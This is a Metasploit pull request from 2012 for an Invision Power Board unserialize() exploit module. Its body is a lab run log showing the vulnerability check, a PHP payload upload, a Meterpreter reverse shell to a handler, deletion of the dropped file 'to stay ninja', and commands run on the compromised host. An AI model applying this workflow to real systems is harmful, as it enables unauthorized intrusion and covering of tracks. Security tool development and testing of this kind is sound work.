rapid7/metasploit-framework — pull request #1066 by jvazquez-r7 (2012-11-15 00:22:47+00:00)
Title: added improvements by egix to invision pboard

Improvements done through redmine:

http://dev.metasploit.com/redmine/issues/7463

Module working after last code adding:

msf exploit(invision_pboard_unserialize_exec) > reload
[*] Reloading module...
msf exploit(invision_pboard_unserialize_exec) > check

[*] 192.168.1.151:80 - Checking for cookie prefix
[*] 192.168.1.151:80 - Cookie prefix msf found
[+] The target is vulnerable.
msf exploit(invision_pboard_unserialize_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444
[*] 192.168.1.151:80 - Exploiting the unserialize() to upload PHP code
[*] 192.168.1.151:80 - Checking for cookie prefix
[*] 192.168.1.151:80 - Cookie prefix msf found
[*] 192.168.1.151:80 - Executing the payload vvDxF.php
[*] Sending stage (39217 bytes) to 192.168.1.151
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.151:44960) at 2012-11-15 01:18:04 +0100
[!] 192.168.1.151:80 - Deleting vvDxF.php
[+] 192.168.1.151:80 - vvDxF.php removed to stay ninja

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686
Meterpreter : php/php
meterpreter > exit
[*] Shutting down Meterpreter...